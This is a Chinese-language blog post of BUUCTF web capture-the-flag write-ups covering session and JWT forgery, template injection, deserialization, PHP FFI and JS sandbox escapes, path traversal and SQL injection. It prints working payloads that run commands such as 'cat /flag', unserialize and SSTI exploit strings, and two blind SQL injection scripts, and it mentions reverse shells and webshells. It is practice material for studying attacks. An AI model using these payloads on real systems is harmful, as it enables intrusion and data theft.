BUUCTF——Web方向刷题记录

[watevrCTF-2019]Supercalc

考点:flask Session伪造

页面有计算功能->0/0得到报错信息可知为flask框架->抓包得到flask-session->脚本解密session->网站会执行session中的命令->0/0#{{config}}获取key->利用key伪造任意命令session

[HFCTF2020]JustEscape

考点:vm2沙箱逃逸,留个坑先

[SCTF2019]Flag Shop

考点:Ruby的ERB模板注入+jwt伪造

访问robot.txt->/filebak得到Ruby源码,漏洞出现在以下地方

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

name参数可以进行ERB模板注入,使用<%=$'%>预定义变量来获取key->伪造jwt获取flag

[pasecactf_2019]flask_ssti

考点:模板注入ByPass+进程读取/proc/self

这题有点坑,BUU给出的源码是错的。。需要把两个key的最后一位删除

POSTnickname存在模板注入->{{config}}获取加密flag,解密即可->模板注入读文件(十六进制绕过)->使用get_data读取/proc/self/fd/3文件,参考,或者先读取进程获取uid,然后使用cat读/proc/1/fd/3即可

[watevrCTF-2019]Pickle Store

考点:Pickle反序列化

构造opcode反弹shell->base64发送

[RootersCTF2019]ImgXweb

考点:JWT伪造

session存在JWT,解密内容为用户名,考虑伪造admin->robots.txt发现密钥->伪造adminJWT->curl访问flag.png

[PASECA2019]honey_shop

考点:任意文件读取+Flask Session伪造

存在文件下载->目录穿越读取进程文件获取Key->利用key伪造session->注意明文的单双引号

[BSidesCF 2020]Hurdles

考点:HTTP协议

X-Forwarded-For: client1, proxy1, proxy2。从标准格式可以看出,X-Forwarded-For头信息可以有多个,中间用逗号分隔,第一项为真实的客户端ip,剩下的就是曾经经过的代理或负载均衡的ip地址,经过几个就会出现几个

层层构造,最终得到

对于PUT请求方式的身份验证,也可以使用Curl工具,curl -u username:passwd

完整payload:

curl -X PUT 'http://node3.buuoj.cn:25896/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player':'54ef36ec71201fdf9d1423fd26f97f6b' -A 1337v.9000 -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1' -b 'Fortune=6265' -H 'Accept:text/plain' -H 'Accept-Language:ru' -H 'Origin:https://ctf.bsidessf.net' -H 'Referer:https://ctf.bsidessf.net/challenges'

virink_2019_files_share

考点:任意文件读取

过滤了../,双写绕过即可

/preview?f=....//....//....//....//....//....//f1ag_Is_h3rere//flag

[RCTF 2019]Nextphp

考点:FFI(Foreign Function Interface,外部函数接口)绕过disable_function,参考

题目给出eval函数,但存在disable_function限制->phpinfo()查看基本信息->存在FFI扩展,开启了opcache.preload=/var/www/html/preload.php

preload.php是php7.4新特性,运行web程序之前会将preload文件先加载到内存中

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
...
    }
}

通过run()来构造FFI函数FFI::cdef("int system(char* command);");->获取C语言的system函数->unserialize获取命令执行函数->命令执行无回显,写入文件

poc

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];

    private function run () {
        echo "run<br>";
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }
    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        return;
    }
}

$a = new A();
echo base64_encode(serialize($a)); // 即payload

payload为/?a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319'))->__serialize()['ret']->system('cat%20/flag>/var/www/html/1.txt');

[GWCTF 2019]你的名字

考点:模板注入绕过

网站报错和路由都伪装成了php,实际上是Python的Jinja2模板。

测试可以得到网站过滤了一些常用模板记号->使用attr+编码绕过->失败,无法获取__builtins__->绕过payload如下

{%print(lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /flag_1s_Hera').read())%}

也可以用{%set a=%}和变量拼接的方式绕过

常用SSTI ByPass参考文章

https://xz.aliyun.com/t/9584#toc-19

https://blog.csdn.net/cjdgg/article/details/115770395?spm=1001.2014.3001.5501

[FBCTF2019]Event

考点:Flask Session伪造+SSTI

这题略有脑洞,在event_import处存在不加{{}}的模板注入->__class__.__init__.__globals__[app].config查找配置文件->通过key伪造session

[WMCTF2020]Make PHP Great Again 2.0

考点:PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含

预期解payload:

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

?file=php://filter/read=convert.base64-encode/index/resource=/123/../../proc/self/cwd/flag.php

[网鼎杯 2020 玄武组]SSRFMe

考点:SSRF绕过+Redis主从复制

利用session.upload_progress进行文件包含

[网鼎杯 2020 青龙组]notes

考点:原型链参数污染

低版本的undefsafe存在原型链污染,当给不存在的对象赋值时会创建新对象->edit_note函数使用undefsafe赋值->属性id,author,raw存在原型链参数污染->构造?id=__proto__&author=ls&raw=aaa->/status路由遍历command执行命令

题目不出网,源码找到了一个静态可写路径,可将flag写入./public/a.txt。读取即可

[NPUCTF2020]验证🐎

考点:JS弱类型+命令执行绕过

存在eval()函数,考虑命令执行->正则第一部分只允许Math或Math.xxx的形式,第二部分只允许一些特殊符号,第三部分只允许数字和.等,匹配模式为(?:)非捕获模式->只有满足以上格式的字符串才能执行

if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);

构造Payload

(Math=>
        (Math=Math.constructor,
                Math.constructor(
                    Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
                        99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
                        46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
                        95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
                        121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
        )
)(Math+1)

分析:构造类似沙箱逃逸,首先是一个箭头函数的自调用(()=>())(),参数为Math+1,转换为字符串类型->接着执行‘String’.constructor,获取String对象->接着执行String.constructor获取Function对象->使用Function对象执行函数"return process.mainModule.require('child_process').execSync('dir').toString()"->然后使用Math.fromCharCode将字符转为ASCII绕过

第二步是绕过md5判断,这里涉及到了js的弱类型转换

if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))

最终Payload

{"e":"(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114, 101, 116, 117, 114, 110, 32, 103, 108, 111, 98, 97, 108, 46, 112, 114, 111, 99, 101, 115, 115, 46, 109, 97, 105, 110, 77, 111, 100, 117, 108, 101, 46, 99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 46, 95, 108, 111, 97, 100, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 46, 101, 120, 101, 99, 83, 121, 110, 99, 40, 39, 99, 97, 116, 32, 47, 102, 108, 97, 103, 39, 41, 46, 116, 111, 83, 116, 114, 105, 110, 103, 40, 41))()))(Math+1)", "first":"1","second":[1]}

[羊城杯 2020]Easyphp2

考点:伪协议绕过+蚁剑命令执行

过滤了base64伪协议,可以使用url编码绕过,也可以使用其他编码绕过,这里我使用的是php://filter/read=convert.quoted-printable-decode/resource->读取源码,可以构造闭合语句进而命令执行'|command||'->写马链接蚁剑,flag文件有权限设置->使用命令printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'切换用户并读flag

[XDCTF 2015]filemanager

考点:文件上传+二次注入

www.tar.gz得到源码->存在addslashes函数,无法直接注入(存入数据库的数据没有\)->存在更名功能,且我们只能控制文件名,无法控制后缀,可以使用二次注入将extensions字段制空->当更改其他文件的文件名时,文件名中的.xxx格式就会被当作后缀

上传文件',extension='',filename='eval.txt.txt,然后将其更名为eval.txt.txt,此时执行的sql语句为update `file` set `filename`='eval.txt', `oldname`='',extension='',filename='eval.txt' where `fid`={$result['fid']}",因此eval.txt.txt文件的extnesion字段被设置为空->此时有filename='eval.txt',extension=''的数据,我们再上传一个eval.txt文件->然后将其更名为eval.php即可链接蚁剑。

[HFCTF 2021 Final]easyflask

考点:Pickle反序列化+任意文件读取

[蓝帽杯 2021]One Pointer PHP

考点:PHP数组溢出漏洞+disable_function绕过+openbase_dir绕过

[PwnThyBytes 2019]Baby_SQL

考点:session绕过+sql盲注

source.zip下载源码->index.php页面使用session_start开启session,并且会根据业务逻辑来包含相应的文件。但是在index,php传入的参数会使用addslashes()函数进行过滤->login.php页面存在明显的sql注入,但是直接访问会判断是否设置session->使用session.upload_progress.enabled来开启session,具体原理见Session上传进度->随便上传一个文件,并且POST赋值PHP_SESSION_UPLOAD_PROGRESS->服务器自动开启Session

绕过session判断之后可以使用sql盲注获取flag

import requests

url="http://19a4fd89-2eb1-49dc-9be5-6ccb4caab26d.node4.buuoj.cn:81/templates/login.php?password=1&username="

data={"PHP_SESSION_UPLOAD_PROGRESS":"1"}
files={"file1":"abcdef"}
proxies={"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
cookies={"PHPSESSID":"qwertyu"}

flag=''
for i in range(1,100):
    print("--------------" + str(i) + "---------------")
    low=32
    high=128
    mid=(low+high)//2

    while low<high:

        #ptbctf
        # payload='" or if(ascii(substr((select database()),{},1))>{},1,0)%23'.format(i,mid)
        #flag_tbl,ptbctf
        # payload = '" or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0)%23'.format(i, mid)
        #secret
        # payload = '" or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flag_tbl"),{},1))>{},1,0)%23'.format(i, mid)

        payload = '" or if(ascii(substr((select secret from flag_tbl),{},1))>{},1,0)%23'.format(i, mid)

        r=requests.post(url+payload,files=files,data=data,cookies=cookies,proxies=proxies)
        if "<meta" in r.text:
            low=mid+1
        else:
            high = mid
        mid = (low + high) // 2
    if mid == 32 or mid == 127:
        break
    print(mid)
    flag += chr(mid)
    print(flag)

[羊城杯 2020]Blackcat

考点:hash数组绕过

查看源码,有音频文件->下载,010打开发现源码->使用hash_hmac加密,使用数组绕过使返回值为null,则下一次的加密密码就为null->传入命令执行即可

[HBCTF2017]大美西安

注册登陆后有文件上传和下载功能->看到image的序号,考虑将数据存入了数据库->downfile的image字段存在sql注入->双写绕过0+ununionion+seselectlect+0x75706C6F61642E706870将源码下载下来

index.php中存在文件名拼接->存在后缀限制,考虑伪协议phar://

upload.php中得到路径/Up10aDs/random+name.xxx->insert语句得到数据库的结构`download` (`uid`,`image_name`,`location`)->考虑通过注入来获得上传的文件名,进而包含

sql语句过滤了各种符号,考虑使用order by 盲注,poc如下

from time import sleep

import requests

url = 'http://814dd5b7-7280-4faa-831d-864f32bcd88d.node4.buuoj.cn:81/downfile.php'
cookie = {"Cookie":  "UM_distinctid=17f689784d6653-02bf9e169048e4-4c3e227d-144000-17f689784d77a2; PHPSESSID=0latp9j1q31djhkn3sh8sbvj31"}
name = '0x2e2f557031306144732f'
temp = ''
proxies={"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
# 已知的./Up10aDs/
for a in range(200):
    for i in range(30, 130):
        print(i)
        if i == 46 or i == 47:
            continue
        data = {"image": "2 ununionion selselectect " + name + hex(i)[2:] + " oorrder by 1",
                "image_download": "%E6%94%B6%E8%97%8F"}
        result = requests.post(url=url, data=data, headers=cookie,proxies=proxies)
        if result.status_code != 200:
            sleep(1)
            result = requests.post(url=url, data=data, headers=cookie)
        # print (result.text)
        if 'shell' in result.text:
            name += hex(i - 1)[2:]
            temp += chr(i - 1)
            print(temp.lower())
            break

得到路径名后->?file=phar://path/sql_path/name访问到我们的木马->执行echo `ls`获取flag文件名->sql读取flag

[CSAWQual 2016]i_got_id

后台将上传的文件又读了出来,考虑使用了param函数。param()函数会返回一个列表的文件。

if ($cgi->upload('file')) {
    my $file = $cgi->param('file');
    while (<$file>) {
        print "$_";
        print "<br />";
    }
}

当perl脚本运行时,从命令行上传递给它的参数存储在内建数组@ARGV中,@ARGV是PERL默认用来接收参数的数组,可以有多个参数,$ARGV[0]是表示接收到的第一个参数,$ARGV[1]表示第二个。

对于下面的读文件逻辑来说,如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。这样,我们的利用方法就出现了:在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇